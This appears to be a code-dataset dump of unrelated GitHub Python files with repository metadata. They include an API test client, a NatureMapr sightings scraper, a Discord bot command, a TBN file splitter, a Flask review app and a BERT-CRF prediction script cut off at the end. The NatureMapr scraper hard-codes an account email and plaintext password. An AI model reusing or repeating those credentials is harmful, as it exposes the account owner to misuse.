chars=string.ascii_uppercase + string.digits):\n return ''.join(random.choice(chars) for x in range(size))\n\ndef email_generator():\n return id_generator() + '@getwizcard.com'\n\n\nclass Connect(object):\n def __init__(self, server_url=SERVER_URL, server_port=SERVER_PORT, *kwargs):\n self.server_url = server_url\n self.server_port = server_port\n self.conn = httplib.HTTPConnection(SERVER_URL, SERVER_PORT)\n self.device_id = \"DUMMY_DEVICE_ID\"\n self.msg_hdr = dict(header=dict(device_id=self.device_id, hash='DUMMY', version=messages.APP_VERSION))\n self.reqmsg = {}\n\n def send(self, err_skip=False):\n self.reqmsg['header'].update(self.msg_hdr['header'])\n send_request(self.conn, self.reqmsg)\n objs = handle_response(self.conn, self.reqmsg['header']['msg_type'])\n return objs\n\n\n\nclass User(Connect):\n def __init__(self):\n super(User, self).__init__()\n self.username = id_generator()\n self.target = id_generator()\n self.response_mode = 'sms'\n self.global_index = len(global_user_list)\n\n self.uid = 0\n self.wuid = 0\n\n def password(self, uid):\n return self.device_id+uid\n\n def get_fbizcard_image(self):\n try:\n f = open(libtest.test_image_path, 'rb')\n self.cc_out = f.read().encode('base64')\n except:\n self.cc_out = None\n\n return self.cc_out\n\n def otp_check(self):\n self.reqmsg = messages.phone_check_req.copy()\n self.reqmsg['header'].update(self.msg_hdr['header'])\n\n self.reqmsg['sender']['username'] = self.username\n self.reqmsg['sender']['target'] = self.target\n self.reqmsg['sender']['response_mode'] = 'sms'\n\n send_request(self.conn, self.reqmsg)\n\n # Parse and dump the JSON response from server\n objs = handle_response(self.conn, self.reqmsg['header']['msg_type'])\n self.response_key = objs['data'].get('challenge_key', 1234)\n\n # send challenge response\n self.reqmsg = messages.phone_check_resp.copy()\n\n self.reqmsg['header'].update(self.msg_hdr['header'])\n self.reqmsg['sender']['username'] = self.username\n self.reqmsg['sender']['response_key'] = self.response_key\n\n send_request(self.conn, self.reqmsg)\n objs = handle_response(self.conn, self.reqmsg['header']['msg_type'])\n self.uid = objs['data']['user_id']\n\n self.key = str(self.global_index)\n global_user_list.append({self.key:dict(uid=self.uid)})\n\n def login(self):\n self.reqmsg = messages.login.copy()\n self.reqmsg['header'].update(self.msg_hdr['header'])\n\n self.reqmsg['sender']['user_id'] = self.uid\n self.reqmsg['sender']['username'] = self.username\n self.reqmsg['sender']['password'] = self.password(self.uid)\n\n send_request(self.conn, self.reqmsg)\n objs = handle_response(self.conn, self.reqmsg['header']['msg_type'])\n\n self.wuid = objs['data']['wizuser_id']\n\n global_user_list[self.global_index][self.key].update(wuid=self.wuid)\n\n def register(self):\n self.reqmsg = messages.register1.copy()\n self.reqmsg['header'].update(self.msg_hdr['header'])\n\n self.reqmsg['sender']['user_id'] = self.uid\n self.reqmsg['sender']['wizuser_id'] = self.wuid\n\n send_request(self.conn, self.reqmsg)\n objs = handle_response(self.conn, self.reqmsg['header']['msg_type'])\n\n def add_wizcard(self):\n self.reqmsg = messages.edit_card.copy()\n self.reqmsg['header'].update(self.msg_hdr['header'])\n\n self.reqmsg['sender']['user_id'] = self.uid\n self.reqmsg['sender']['wizuser_id'] = self.wuid\n self.reqmsg['sender']['first_name'] = names.get_first_name()\n self.reqmsg['sender']['last_name'] = names.get_last_name()\n send_request(self.conn, self.reqmsg)\n objs = handle_response(self.conn, self.reqmsg['header']['msg_type'])\n\n self.wc_id = objs['data']['wizcard']['wizcard_id']\n global_user_list[self.global_index][self.key].update(wc_id=self.wc_id)\n\n def get_cards(self):\n self.reqmsg = messages.get_cards.copy()\n self.reqmsg['header'].update(self.msg_hdr['header'])\n\n self.reqmsg['sender']['user_id'] = self.uid\n self.reqmsg['sender']['wizuser_id'] = self.wuid\n\n send_request(self.conn, self.reqmsg)\n objs = handle_response(self.conn, self.reqmsg['header']['msg_type'])\n\n def onboard_user(self):\n self.otp_check()\n self.login()\n self.register()\n self.add_wizcard()\n self.get_cards()\n\n def send_asset_to_xyz(self, users):\n valid_users = []\n for u in users:\n if self.uid != u.uid:\n valid_users.append(u.wuid)\n\n self.reqmsg = messages.send_asset_to_xyz.copy()\n self.reqmsg['header'].update(self.msg_hdr['header'])\n\n self.reqmsg['sender']['user_id'] = self.uid\n self.reqmsg['sender']['wizuser_id'] = self.wuid\n self.reqmsg['sender']['asset_id'] = self.wc_id\n self.reqmsg['sender']['asset_type'] = \"wizcard\"\n self.reqmsg['receiver']['receiver_type'] = \"wiz_untrusted\"\n self.reqmsg['receiver']['receiver_ids'] = valid_users\n\n def entity_access(self, entity_id, entity_type='EVT', state=1):\n self.reqmsg = messages.entity_access.copy()\n self.reqmsg['header'].update(self.msg_hdr['header'])\n\n self.reqmsg['sender']['user_id'] = self.uid\n self.reqmsg['sender']['wizuser_id'] = self.wuid\n self.reqmsg['sender']['entity_id'] = entity_id\n self.reqmsg['sender']['entity_type'] = entity_type\n self.reqmsg['sender']['state'] = state\n\n send_request(self.conn, self.reqmsg)\n objs = handle_response(self.conn, self.reqmsg['header']['msg_type'])\n\nimport copy\nclass LeadScan(Connect):\n def __init__(self, *args, **kwargs):\n super(LeadScan, self).__init__()\n self.reqmsg = copy.deepcopy(messages.lead_scan_response)\n self.kwargs = kwargs\n self.reqmsg['sender']['user_id'] = args[0]\n self.reqmsg['sender']['wizuser_id'] = args[1]\n\n def prepare_response(self):\n l = messages.scanned_item.copy()\n l['name'] = id_generator()\n l['email'] = email_generator()\n l['company'] = id_generator()\n l['title'] = id_generator()\n l.update(self.kwargs)\n\n self.reqmsg['sender']['scans'].append(l)\n\n\nclass Poll(Connect):\n\n TRUE_FALSE_CHOICE = 'TOF'\n SCALE_OF_1_X_CHOICE = 'SCL'\n MULTIPLE_CHOICE = 'MCR'\n QUESTION_ANSWER_TEXT = 'TXT'\n\n def __init__(self, *args, **kwargs):\n super(Poll, self).__init__()\n self.data = kwargs\n self.reqmsg = messages.poll_response.copy()\n self.reqmsg['sender']['user_id'] = args[0]\n self.reqmsg['sender']['wizuser_id'] = args[1]\n self.reqmsg['sender']['entity_id'] = self.data['id']\n\n def prepare_response(self):\n for q in self.data['questions']:\n question_type = q['question_type']\n choices = q['choices']\n if question_type == self.TRUE_FALSE_CHOICE:\n self.true_false_response(q['id'], choices)\n elif question_type == self.SCALE_OF_1_X_CHOICE:\n self.one_to_x_response(q['id'], choices)\n elif question_type == self.MULTIPLE_CHOICE:\n self.mct_response(q['id'], choices)\n elif question_type == self.QUESTION_ANSWER_TEXT:\n self.text_response(q['id'], choices)\n\n def true_false_response(self, qid, choices):\n response = messages.poll_questions_response.copy()\n response['question_id'] = qid\n response['answer_id'] = choices[0]['id']\n response['has_boolean_value'] = True\n response['boolean_value'] = random.choice([True, False])\n self.reqmsg['sender']['responses'].append(response)\n\n def one_to_x_response(self, qid, choices):\n response = messages.poll_questions_response.copy()\n response['question_id'] = qid\n response['answer_id'] = choices[0]['id']\n response['has_user_value'] = True\n response['user_value'] = random.choice(range(1, 6))\n self.reqmsg['sender']['responses'].append(response)\n\n def mct_response(self, qid, choices):\n response = messages.poll_questions_response.copy()\n response['question_id'] = qid\n response['answer_id'] = choices[random.choice(range(0, len(choices)))]['id']\n self.reqmsg['sender']['responses'].append(response)\n\n def text_response(self, qid, choices):\n response = messages.poll_questions_response.copy()\n response['question_id'] = qid\n response['has_text'] = True\n response['text'] = 'Some random text'\n self.reqmsg['sender']['responses'].append(response)\n\n\n","repo_name":"wizcarder/wizcard-server","sub_path":"test/api_test.py","file_name":"api_test.py","file_ext":"py","file_size_in_byte":9127,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"18212987022","text":"class Solution:\n def numSteps(self, s: str) -> int:\n ans = 0\n chars = [c for c in s]\n\n # All trailing 0s can be popped by 1 step.\n while chars[-1] == '0':\n chars.pop()\n ans += 1\n\n if ''.join(chars) == '1':\n return ans\n\n # s is now odd, so add 1 to s and cost 1 step.\n # All 1s will become 0s and be popped by 1 step.\n # All 0s will become 1s and be popped by 2 step (add 1 then divide by 2).\n return ans + 1 + sum(1 if c == '1' else 2 for c in chars)\n","repo_name":"walkccc/LeetCode","sub_path":"solutions/1404. Number of Steps to Reduce a Number in Binary Representation to One/1404.py","file_name":"1404.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":756,"dataset":"github-code","pt":"21"} +{"seq_id":"27168830836","text":"import requests\nimport simplejson as json\nimport pandas as pd\n\n# Retrieve Authentication token from User\nheaderInfo = {'content-type': 'application/json'}\npayload1 = {'username': 'ala@naturemapr.org', 'password': 'BlackMountain1#'}\njLoad = json.dumps(payload1)\nret = requests.post('https://api.naturemapr.org/api/users/authenticate', headers=headerInfo, data=jLoad)\n\n# find start of token\npos1 = ret.text.find('\"token\":\"')\n# find end of token\npos2 = ret.text.find('\",\"roles')\n#Token starts at pos1 + 9\ntStart = pos1 + 9\ntoken = ret.text[tStart:pos2]\n\n# Build Authentication Header parameter\nauthStr = 'Bearer ' + token\nheaderT = {'content-type': 'application/json', 'Authorization': authStr}\n\n# sUrl = 'https://api.naturemapr.org/api/sightings?viewMode=Detail&pageNumber=1&pageSize=100'\n# res1 = requests.get(sUrl, headers=headerT)\n# res = requests.get('https://api.naturemapr.org/api/sightings?viewMode=Detail&pageNumber=1&pageSize=100', headers=headerT)\n\nresult_arr = []\n# for index in range(1, 100):\nrList = []\n\nfor index in range(1, 2):\n pageNo = index\n sUrl = 'https://api.naturemapr.org/api/sightings?viewMode=Detail&pageNumber=' + str(pageNo) + '&pageSize=100'\n result = requests.get(sUrl, headers=headerT)\n result_arr.append(result.text)\n rList.append(json.loads(result.text))\n\n#initialise first array to csv with header\ndf = pd.DataFrame(rList[0])\n# Rename data columns\ndf = df.rename(columns=\n{'sightingId':'catalogNumber',\n'speciesId':'taxonID',\n'category2Title':'taxonRemarks' ,\n'scientificName':'scientificName' ,\n'commonName':'vernacularName',\n'latitude':'decimalLatitude',\n'longitude':'decimalLongitude',\n'abundanceDescription':'individualCount',\n'descriptionPublic':'occurrenceRemarks',\n'make':'deviceName',\n'lastConfirmedByUsername':'identifiedBy',\n'model':'deviceSpecification',\n'os': 'deviceOperatingSystem',\n'username':'recordedBy',\n'lastConfirmedByUsername':'identifiedBy',\n'altitude':'verbatimElevation'\n})\ndf.to_csv(r'sightings-1-16000.csv', mode='a',index=False)\n\nfor i in range(1,len(rList)):\n df = pd.DataFrame(rList[i])\n df.to_csv(r'sightings-1-16000.csv', mode='a', index=False, header=False) # append without header\n\n","repo_name":"AtlasOfLivingAustralia/natureMapr","sub_path":"Pycharm/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25478407943","text":"clima = \"sol\"\nmoney = 500\nlugar = \"\"\n\nif clima ==\"sol\" or (100 <= money <= 600):\n lugar = \"Piscina\"\n\nelse:\n lugar = \"Ski\"\n\nprint(\"Vou para a(o) \" + lugar)\n\n\n#AND\n# V V = V\n# V F = F\n# F V = F\n# F F = F\n\n#OR\n# V V = V\n# V F = V\n# F V = V\n# F F = F","repo_name":"ijosilva/Projetos","sub_path":"aula11.py","file_name":"aula11.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16619269537","text":"import asyncio\nimport discord\n\nfrom globalvars import *\n\nasync def clear_channel(message):\n if not message.author.server_permissions.administrator:\n await client.send_message(message.channel, 'You must be an admin to run this command.')\n return\n \n await client.send_message(message.channel, 'Please note that this process is very slow on messages older than 14 days.\\n**ARE YOU SURE YOU WANT TO CLEAR THIS CHANNEL? (y/N)**')\n t = await client.wait_for_message(author=message.author,channel=message.channel)\n\n if t.content[0].lower() == 'y':\n total_messages = 4\n delete_slow = False\n\n while total_messages > 1:\n deletion_chunk = []\n total_messages = 0\n\n async for message in client.logs_from(channel=message.channel,limit=100):\n if delete_slow:\n await client.delete_message(message)\n else:\n deletion_chunk.append(message)\n total_messages += 1\n\n try:\n await client.delete_messages(deletion_chunk)\n\n except:\n delete_slow = True\n for message in deletion_chunk:\n await client.delete_message(message)\n\n print('performed a full clear')\n","repo_name":"JellyWX/manager-bot","sub_path":"clear_channel.py","file_name":"clear_channel.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73036277813","text":"import collections\n\nimport six\n\nimport chainer\nfrom chainer import cuda\nfrom chainer import function\nfrom chainer.utils import type_check\n\n\nclass SplitAxis(function.Function):\n\n \"\"\"Function that splits multiple arrays along the specified axis.\"\"\"\n\n def __init__(self, indices_or_sections, axis):\n if not isinstance(\n indices_or_sections,\n six.integer_types + (collections.Iterable,)):\n raise TypeError('indices_or_sections must be integer or 1-D array')\n self.indices_or_sections = indices_or_sections\n self.axis = axis\n\n def check_type_forward(self, in_types):\n type_check.expect(in_types.size() == 1)\n type_check.expect(in_types[0].ndim > self.axis)\n\n if isinstance(self.indices_or_sections, collections.Iterable):\n if len(self.indices_or_sections) > 0:\n max_index = type_check.Variable(\n self.indices_or_sections[-1], 'max_index')\n type_check.expect(in_types[0].shape[self.axis] > max_index)\n else:\n sections = type_check.Variable(\n self.indices_or_sections, 'sections')\n type_check.expect(in_types[0].shape[self.axis] % sections == 0)\n\n def forward(self, x):\n if isinstance(self.indices_or_sections, collections.Iterable):\n cdimx = x[0].shape[self.axis]\n ind = list(self.indices_or_sections)\n ind.append(cdimx)\n prev_i = 0\n for i in ind:\n cdimy = max(0, min(i, cdimx) - prev_i)\n if cdimy == 0:\n raise ValueError('Not support if shape contains 0')\n prev_i = i\n xp = cuda.get_array_module(*x)\n return tuple(xp.split(x[0], self.indices_or_sections, self.axis))\n\n def backward(self, x, gys):\n xp = cuda.get_array_module(*x)\n if any(gy is None for gy in gys):\n gx = xp.zeros_like(x[0])\n gxs = xp.split(gx, self.indices_or_sections, self.axis)\n for gxi, gy in six.moves.zip(gxs, gys):\n if gy is None:\n continue\n gxi[:] = gy\n return gx,\n else:\n return xp.concatenate(gys, axis=self.axis),\n\n\ndef split_axis(x, indices_or_sections, axis, force_tuple=False):\n \"\"\"Splits given variables along an axis.\n\n Args:\n x (tuple of Variables): Variables to be split.\n indices_or_sections (int or 1-D array): If this argument is an integer,\n N, the array will be divided into N equal arrays along axis.\n If it is a 1-D array of sorted integers, it\n indicates the positions where the array is split.\n axis (int): Axis that the input array is split along.\n force_tuple (bool): If ``True``, this method returns a tuple even when\n the number of outputs is one.\n\n Returns:\n tuple or Variable: Tuple of :class:`~chainer.Variable` objects\n if the number of outputs is more than 1 or\n :class:`~chainer.Variable` otherwise.\n When ``force_tuple`` is ``True``, returned value is always a tuple\n regardless of the number of outputs.\n\n .. note::\n This function raises :class:`ValueError` if at least\n one of the outputs is split to zero-size\n (i.e. ``axis``-th value of its shape is zero).\n\n \"\"\"\n res = SplitAxis(indices_or_sections, axis)(x)\n if force_tuple and isinstance(res, chainer.Variable):\n res = (res,)\n return res\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/pfnet_chainer/chainer-master/chainer/functions/array/split_axis.py","file_name":"split_axis.py","file_ext":"py","file_size_in_byte":3540,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"34699515603","text":"#!/usr/bin/env python\n\n\"\"\"\nExample script for splitting a TBN file into smaller pieces.\n\"\"\"\n\n# Python2 compatibility\nfrom __future__ import print_function, division, absolute_import\nimport sys\nif sys.version_info < (3,):\n range = xrange\n \nimport os\nimport sys\nimport math\nimport time\nimport argparse\nfrom datetime import datetime\n\nfrom lsl.reader import tbn\nfrom lsl.common.progress import ProgressBar\nfrom lsl.misc import parser as aph\n\nfrom lsl.misc import telemetry\ntelemetry.track_script()\n\n\ndef split_file(fhIn, fhOut, nCaptures, nAntpols):\n pb = ProgressBar(max=nCaptures)\n \n for c in range(int(nCaptures)):\n for i in range(nAntpols):\n cFrame = fhIn.read(tbn.FRAME_SIZE)\n fhOut.write(cFrame)\n \n pb.inc(amount=1)\n if c != 0 and c % 100 == 0:\n sys.stdout.write(pb.show()+'\\r')\n sys.stdout.flush()\n \n sys.stdout.write(pb.show()+'\\r')\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n\ndef main(args):\n filename = args.filename\n \n sizeB = os.path.getsize(filename)\n \n # Open the file and get some basic info about the data contained\n fh = open(filename, 'rb')\n sample_rate = tbn.get_sample_rate(fh)\n nFramesX, nFramesY = tbn.get_frames_per_obs(fh)\n \n nCaptures = sizeB // tbn.FRAME_SIZE // (nFramesX + nFramesY)\n \n print(\"Filename: %s\" % filename)\n print(\"Size: %.1f MB\" % (float(sizeB)/1024/1024))\n print(\"Captures: %i (%.2f seconds)\" % (nCaptures, nCaptures*512/sample_rate))\n print(\"Stands: %i (%i x pol., %i y pol.)\" % ((nFramesX+nFramesY), nFramesX, nFramesY))\n print(\"Sample Rate: %.2f kHz\" % (sample_rate/1000.0))\n print(\"===\")\n\n if args.count > 0:\n nCaptures = args.count * sample_rate // 512\n else:\n nCaptures -= args.offset * sample_rate // 512\n args.count = nCaptures * 512 // sample_rate\n nSkip = int(args.offset * sample_rate / 512)\n\n print(\"Seconds to Skip: %.2f (%i captures)\" % (args.offset, nSkip))\n print(\"Seconds to Split: %.2f (%i captures)\" % (args.count, nCaptures))\n\n # Make sure that the first frame in the file is the first frame if a capture \n # (stand 1, pol 0). If not, read in as many frames as necessary to get to \n # the beginning of a complete capture.\n frame = tbn.read_frame(fh)\n stand, pol = frame.id\n\n skip = 0\n while (2*(stand-1)+pol) != 0:\n frame = tbn.read_frame(fh)\n stand, pol = frame.id\n skip += 1\n fh.seek(fh.tell() - tbn.FRAME_SIZE)\n\n if skip != 0:\n print(\"Skipped %i frames at the beginning of the file\" % skip)\n \n for c in list(range(nSkip)):\n if c < nSkip:\n fh.seek(fh.tell() + tbn.FRAME_SIZE*(nFramesX+nFramesY))\n continue\n \n nFramesRemaining = (sizeB - fh.tell()) // tbn.FRAME_SIZE\n nRecursions = int(nFramesRemaining // (nCaptures*(nFramesX+nFramesY)))\n if not args.recursive:\n nRecursions = 1\n \n scale = int(math.log10(nRecursions)) + 1\n ifString = \"Working on #%%%ii of %i (%%s)\" % (scale, nRecursions)\n \n for r in range(nRecursions):\n if args.date:\n filePos = fh.tell()\n junkFrame = tbn.read_frame(fh)\n fh.seek(filePos)\n \n dt = junkFrame.time.datetime\n captFilename = \"%s_%s.dat\" % (os.path.splitext(os.path.basename(filename))[0], dt.isoformat())\n else:\n captFilename = \"%s_s%04i_p%%0%ii.dat\" % (os.path.splitext(os.path.basename(filename))[0], args.count, scale)\n captFilename = captFilename % r\n if not args.recursive:\n captFilename = \"%s_s%04i.dat\" % (os.path.splitext(os.path.basename(filename))[0], args.count)\n \n print(ifString % (r+1, captFilename))\n \n t0 = time.time()\n fhOut = open(captFilename, 'wb')\n split_file(fh, fhOut, nCaptures, nFramesX+nFramesY)\n fhOut.close()\n t1 = time.time()\n print(\" Copied %i bytes in %.3f s (%.3f MB/s)\" % (os.path.getsize(captFilename), t1-t0, os.path.getsize(captFilename)/1024.0**2/(t1-t0)))\n fh.close()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description='split a TBN file into several files', \n formatter_class=argparse.ArgumentDefaultsHelpFormatter\n )\n parser.add_argument('filename', type=str, \n help='filename to split')\n parser.add_argument('-c', '--count', type=aph.positive_float, default=10.0, \n help='number of seconds to keep')\n parser.add_argument('-o', '--offset', type=aph.positive_or_zero_float, default=0.0, \n help='number of seconds to skip before splitting')\n parser.add_argument('-d', '--date', action='store_true', \n help='label the split files with a date rather than a sequence number')\n parser.add_argument('-r', '--recursive', action='store_true', \n help='recursively split the file')\n args = parser.parse_args()\n main(args)\n \n","repo_name":"lwa-project/lsl","sub_path":"scripts/splitTBN.py","file_name":"splitTBN.py","file_ext":"py","file_size_in_byte":5087,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"73435767734","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import tix\nfrom tkinter.messagebox import showinfo\nfrom linkcounter_project.linkcounter import Linkcounter\n\n\nclass MainFrame(ttk.Frame):\n def __init__(self, container):\n super().__init__(container)\n\n options = {'padx': 5, 'pady': 5}\n\n # label1\n self.label1 = ttk.Label(self, text='https://en.wikipedia.org/wiki/Special:Random')\n self.label1.pack(**options)\n\n #button1\n self.button1 = ttk.Button(self, text='Get list of links')\n self.button1['command'] = self.button1_clicked\n self.button1.pack(**options)\n\n #label2\n self.label2 = ttk.Label(self, text='Type article name below to get info if it was parsed before')\n self.label2.pack(**options)\n\n #entry\n self.entry = tk.Entry(self)\n self.entry.pack()\n\n #button2\n self.button2 = ttk.Button(self, text='Get detailed info')\n self.button2['command'] = self.button2_clicked\n self.button2.pack(**options)\n\n #button3\n self.button3 = ttk.Button(self, text='Get saved links')\n self.button3['command'] = self.button3_clicked\n self.button3.pack(**options)\n\n #button4\n self.button4 = ttk.Button(self, text='Count links')\n self.button4['command'] = self.button4_clicked\n self.button4.pack(**options)\n\n # Create the text widget\n self.text_widget = tk.Text(self, height=14, width=50)\n # Create a scrollbar\n self.scroll_bar = tk.Scrollbar(self)\n self.scroll_bar.pack(side=tk.RIGHT)\n self.text_widget.pack(side=tk.LEFT)\n # Insert text into the text widget\n self.text_widget.insert(tk.END, \"Wiki data\")\n # show the frame on the container\n self.pack(**options)\n\n def button1_clicked(self):\n session = Linkcounter()\n self.text_widget.delete('1.0', tk.END)\n self.text_widget.insert(tk.END, session.get_random_links())\n \n def button2_clicked(self):\n session = Linkcounter()\n self.text_widget.delete('1.0', tk.END)\n self.text_widget.insert(tk.END, session.view_article(self.entry.get()))\n\n def button3_clicked(self):\n session = Linkcounter()\n self.text_widget.delete('1.0', tk.END)\n self.text_widget.insert(tk.END, session.show_list_of_links_by_article_name(self.entry.get()))\n\n def button4_clicked(self):\n session = Linkcounter()\n self.text_widget.delete('1.0', tk.END)\n self.text_widget.insert(tk.END, session.show_number_of_links_by_article_name(self.entry.get()))\n\n \n\nclass App(tk.Tk):\n def __init__(self):\n super().__init__()\n self.title('Linkcounter')\n self.geometry('600x600')\n\ndef main():\n app = App()\n frame = MainFrame(app)\n app.mainloop()","repo_name":"bahonya/linkcounter_project","sub_path":"linkcounter_project/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31895919421","text":"#!/usr/bin/env python3\nimport setuptools\n\nwith open(\"VERSION\", \"r\", encoding=\"utf-8\") as ver:\n version = ver.read()\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name='DeTrusty',\n version=version,\n description='DeTrusty - Decentralized and Trustable Query Engine',\n license='GNU/GPLv3',\n author='Philipp D. Rohde',\n author_email='philipp.rohde@tib.eu',\n url='https://github.com/SDM-TIB/DeTrusty',\n project_urls={\n 'Documentation': 'https://sdm-tib.github.io/DeTrusty/',\n 'Changes': 'https://sdm-tib.github.io/DeTrusty/changelog.html',\n 'Source Code': 'https://github.com/SDM-TIB/DeTrusty',\n 'Issue Tracker': 'https://github.com/SDM-TIB/DeTrusty/issues'\n },\n download_url='https://github.com/SDM-TIB/DeTrusty/archive/refs/tags/v' + version + '.tar.gz',\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n scripts=['./Scripts/create_rdfmts.py',\n './Scripts/restart_workers.sh'],\n packages=[\n 'DeTrusty',\n 'DeTrusty.Decomposer',\n 'DeTrusty.Molecule',\n 'DeTrusty.Operators',\n 'DeTrusty.Operators.AnapsidOperators',\n 'DeTrusty.Operators.BlockingOperators',\n 'DeTrusty.Operators.NonBlockingOperators',\n 'DeTrusty.Sparql',\n 'DeTrusty.Sparql.Parser',\n 'DeTrusty.Wrapper',\n 'DeTrusty.Wrapper.RDFWrapper'\n ],\n install_requires=['requests>=2.31.0',\n 'ply==3.11',\n 'rdflib>=6.0.0'],\n include_package_data=True,\n python_requires='>=3.8',\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3 :: Only',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'Programming Language :: Python :: 3.10',\n 'Programming Language :: Python :: 3.11',\n 'Programming Language :: Python :: 3.12',\n 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',\n 'Operating System :: OS Independent',\n 'Intended Audience :: Science/Research'\n ]\n)\n","repo_name":"SDM-TIB/DeTrusty","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"} +{"seq_id":"19079449479","text":"list1 = set()\r\nlist2 = set()\r\nnum1 = 0\r\nnum2 = 0\r\nwhile num1 != '':\r\n num1 = input()\r\n list1.add(num1)\r\nwhile num2 != '':\r\n num2 = input()\r\n list2.add(num2)\r\nsame = list1 & list2\r\nsame.discard('')\r\nif len(same) > 0:\r\n print(same)\r\nelse:\r\n print('empty')\r\n","repo_name":"mxxnshard/p2n","sub_path":"06/06-01.py","file_name":"06-01.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41975147842","text":"from __future__ import print_function\nimport sys\nimport time\nimport json\nsys.path.append('..')\nfrom dorna2 import Dorna\n\n\ndef main(config_path):\n # arguments\n with open(config_path) as json_file:\n arg = json.load(json_file)\n print(arg)\n\n # tik\n start = time.time()\n robot = Dorna()\n robot.connect(arg[\"ip\"], arg[\"port\"])\n for cmd in 10 * [\"alarm\", \"motor\", \"toollength\", \"input\", \"output\", \"pwm\", \"adc\", \"version\", \"uid\"]:\n arg = {\"cmd\": cmd, \"id\": robot.rand_id()}\n print(arg)\n trk = robot.play(True, **arg)\n trk.complete()\n\n # tok\n print(time.time()-start)\n\n # close connection\n robot.close()\n\nif __name__ == '__main__':\n main(\"config.json\")\n","repo_name":"Echxvx2610/app_dornaGUI","sub_path":"ws_test.py","file_name":"ws_test.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"19583950821","text":"from flask import Flask, render_template, jsonify, request\napp = Flask(__name__)\n\nfrom pymongo import MongoClient # pymongo를 임포트 하기(패키지 인스톨 먼저 해야겠죠?)\nclient = MongoClient('localhost', 27017) # mongoDB는 27017 포트로 돌아갑니다.\ndb = client.dbsparta # 'dbsparta'라는 이름의 db를 만듭니다.\n\n## HTML을 주는 부분\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n## API 역할을 하는 부분\n@app.route('/reviews', methods=['POST']) #리뷰입력\ndef write_review():\n title_receive = request.form['title_give']\n author_receive = request.form['author_give']\n review_receive = request.form['review_give']\n\n bookreview = {\n 'title': title_receive,\n 'author': author_receive,\n 'review': review_receive\n }\n db.bookreviews.insert_one(bookreview)\n return jsonify({'result':'success', 'msg': '리뷰 작성 성공!'})\n\n\n@app.route('/reviews', methods=['GET']) #입력된 DB 보여주기\ndef read_reviews():\n bookreviews = list(db.bookreviews.find({},{'_id':0})) #_id:0 의미는 false로 지정하는 것\n return jsonify({'result':'success', 'bookreviews': bookreviews})\n\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=5000, debug=True)","repo_name":"fksalans/sparta_class8_miran","sub_path":"project/bookreview/bookreview_app.py","file_name":"bookreview_app.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32124521176","text":"import json\r\nimport numpy as np\r\nimport model_bertcrf\r\nimport torch\r\nimport datetime\r\nfrom transformers import BertTokenizer,BertTokenizerFast\r\nimport bert_data_manage\r\nfrom torch.utils.data import Dataset, DataLoader\r\n\r\nbert_path='/home/chemical_IE/model/bert-base-uncased'\r\ntokenizer_word=BertTokenizer.from_pretrained(bert_path)\r\ntokenizer = BertTokenizerFast.from_pretrained(bert_path)\r\nmodel=model_bertcrf.model_bertcrf()\r\n\r\nmodel.load_state_dict(torch.load(\"/home/chemical_IE/model/bertcrf_10-31,16_51_41.pkl\"))\r\nmodel.to(\"cuda\")\r\nmodel.eval()\r\n\r\n\r\ndef predict(data_input):\r\n t=tokenizer([data_input],truncation=True,padding=True,return_offsets_mapping=True,max_length=512,return_tensors=\"pt\")\r\n total_data=t['input_ids']\r\n total_mask=t['attention_mask']\r\n offset_mapping=t['offset_mapping'].numpy()\r\n\r\n total_data=total_data.cuda().long()\r\n total_mask=total_mask.cuda().long()\r\n\r\n total_offset_mapping=torch.tensor(offset_mapping).cuda().long()\r\n class predict_dataset(Dataset):\r\n def __init__(self,total_data,total_mask,total_offset_mapping):\r\n self.total_data=total_data\r\n self.total_mask=total_mask\r\n self.total_offset_mapping=total_offset_mapping\r\n def __len__(self):\r\n return len(self.total_data)\r\n def __getitem__(self,idx):\r\n return self.total_data[idx],self.total_mask[idx],self.total_offset_mapping[idx]\r\n\r\n pre_dataset=predict_dataset(total_data,total_mask,total_offset_mapping)\r\n pre_dataloader=DataLoader(pre_dataset,batch_size=1,shuffle=True ,num_workers = 0)\r\n f= open('/home/chemical_IE/res.txt','r+')\r\n for i,(test_data,attention_mask,total_offset_mapping) in enumerate(pre_dataloader):\r\n _,path=model(test_data,attention_mask)\r\n j=1\r\n res=\"{\\\"label\\\":[\"\r\n while(j float:\n tower = 